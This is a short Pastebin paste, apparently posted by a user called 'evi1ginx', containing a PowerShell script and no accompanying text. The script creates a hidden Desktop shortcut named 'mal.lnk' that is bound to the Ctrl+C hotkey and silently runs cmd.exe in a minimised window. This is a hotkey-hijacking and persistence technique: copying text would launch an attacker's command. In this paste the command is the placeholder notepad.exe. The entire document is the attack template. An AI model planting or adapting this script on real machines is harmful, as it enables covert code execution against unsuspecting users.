evi1ginx

Untitled

Oct 16th, 2023
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.32 KB | None | 0 0
  1. $malLoc = $home + "\Desktop\mal.lnk"
  2.  
  3. $WshShell = New-Object -comObject WScript.Shell
  4. $Shortcut = $WshShell.CreateShortcut($malLoc)
  5. $Shortcut.TargetPath = 'C:\Windows\System32\cmd.exe'
  6. $Shortcut.Arguments = '/c notepad.exe'
  7. $Shortcut.hotkey = 'CTRL+C'
  8. $Shortcut.WindowStyle = 7
  9. $Shortcut.Save()
  10.  
  11.  
  12. attrib +h $malLoc
Advertisement
Add Comment
Please, Sign In to add comment